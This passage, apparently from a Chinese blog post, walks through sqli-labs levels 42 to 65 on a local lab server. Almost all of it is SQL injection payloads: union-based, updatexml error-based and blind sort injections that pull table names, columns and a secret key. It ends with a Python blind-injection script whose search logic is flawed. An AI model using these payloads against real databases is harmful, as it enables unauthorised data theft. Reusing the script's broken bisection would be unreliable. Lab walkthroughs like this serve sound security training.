Referer: http://127.0.0.1/4/Less-42/
Cookie: PHPSESSID=96i2qhknegbma7it3tkkjecgg5
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 57

login_user=1&login_password=' union select 1,database(),3;#&mysubmit=Login

43.Less-43

同上

44.Less-44

同上

45.Less-45

同上

46.Less-46

//構造腳本盲注
http://127.0.0.1/4/Less-46/?sort=rand(ascii(left(database(),1))=115)

47.Less-47

同上

48.Less-48

http://127.0.0.1/4/Less-48/?sort=(ascii(substr((select database()) ,1,1))) = 115

盲注

49.Less-49

同上

50.Less-50

疊加註入

51.Less-51

同上

52.Less-52

同上

53.Less-53

同上

54.Less-54

//得到表名
http://127.0.0.1/4/Less-54/?id=1111' union select 1,2,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='challenges')--+

//得到列名
http://127.0.0.1/4/Less-54/?id=1111' union select 1,2,(select group_concat(column_name) from information_schema.columns where TABLE_name='vccxqgykem')--+

//得到secret_key
http://127.0.0.1/4/Less-54/?id=1111' union select 1,2,(select group_concat(secret_7O6V) from challenges.vccxqgykem)--+


s6b5Y9iSw0nH34iLJPkdVzdi

55.Less-55

http://127.0.0.1/4/Less-55/?id=-1) union select 1,2,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='challenges')--+

56.Less-56

http://127.0.0.1/4/Less-56/?id=-1') union select 1,2,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='challenges')--+

57.Less-57

http://127.0.0.1/4/Less-57/?id=-1" union select 1,2,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='challenges')--+

58.Less-58

http://127.0.0.1/4/Less-58/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='challenges'),0x7e),1)--+


//注意這裏的0x7e不能省略

59.Less-59

http://127.0.0.1/4/Less-59/?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='challenges'),0x7e),1)--+

60.Less-60

http://127.0.0.1/4/Less-60/?id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='challenges'),0x7e),1)--+

61.Less-61

http://127.0.0.1/4/Less-61/?id=1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='challenges'),0x7e),1)--+

62.Less-62

#盲注
import requests
global num
num=0
payload1 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges'),%s,1))>%d--+"
payload2 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges'),%s,1))<%d--+"
payload3 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges'),%s,1))=%d--+"

payload4 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select column_name  from information_schema.columnS where TABLE_name=%s limit 2,1),%s,1))>%d--+"
payload5 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select column_name  from information_schema.columnS where TABLE_name=%s limit 2,1),%s,1))<%d--+"
payload6 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select column_name  from information_schema.columnS where TABLE_name=%s limit 2,1),%s,1))=%d--+"


payload7 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select %s from %s),%s,1))>%d--+"
payload8 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select %s from %s),%s,1))<%d--+"
payload9 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select %s from %s),%s,1))=%d--+"

dic = []
for need_number in range(48,58):
	dic.append(chr(need_number))
for need_number in range(65,91):
	dic.append(chr(need_number))
for need_number in range(97,123):
	dic.append(chr(need_number))
    

def check_table(payload):
	global num
	num += 1
	content=requests.get(url=payload).text
	if "Angelina" in content:
		return 1
	else:
		return 0
    
def check_column(payload):
	global num
	num+=1
	content=requests.get(url=payload).text
	if "Angelina" in content:
		return 1
	else:
		return 0
    
def check_key(payload):
	global num
	num+=1
	content=requests.get(url=payload).text
	if "Angelina" in content:
		return 1
	else:
		return 0

    
    
def solution_table():
	min=0
	max=len(dic)-1
	tmp=''
	table_name=''
	for i in range(11):
		for t in range(min,max):
			center=int((min+max)/2)
			url1=payload1%(i,t)
			url2=payload2%(i,t)
			url3=payload3%(i,t)
			if check_table(url1):
				max=center+1
			if check_table(url2):
				min=center-1
			if check_table(url3):
				tmp=chr(t)
				break
		table_name+=tmp
	return table_name


def solution_column(table_name):
	min=0
	max=len(dic)-1
	tmp=''
	column_name=''
	for i in range(11):
		for t in range(min,max):
			center=int((min+max)/2)
			url4=payload4%(table_name,i,t)
			url5=payload5%(table_name,i,t)
			url6=payload6%(table_name,i,t)
			if check_column(url4):
				max=center+1
			if check_column(url5):
				min=center-1
			if check_column(url6):
				tmp=chr(t)
				break
		column_name+=tmp
	return column_name
        
def solution_key(column_name,table_name):
	min=0
	max=len(dic)-1
	tmp=''
	key=''
	for i in range(11):
		for t in range(min,max):
			center=int((min+max)/2)
			url7=payload7%(column_name,table_name,i,t)
			url8=payload8%(column_name,table_name,i,t)
			url9=payload9%(column_name,table_name,i,t)
			if check_key(url7):
				max=center+1
			if check_key(url8):
				min=center-1
			if check_key(url9):
				tmp=chr(t)
				break
		key+=tmp
	return key                
    
if __name__=="__main__":
	table_name=solution_table()
	column_name=solution_column(table_name)
	key=solution_key(column_name,table_name)
	print("the table_name is : "+table_name+"\t"+"the column_name is : "+column_name+"\t"+"the key is : "+key)
    

Less-63-65

類似
wyt

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章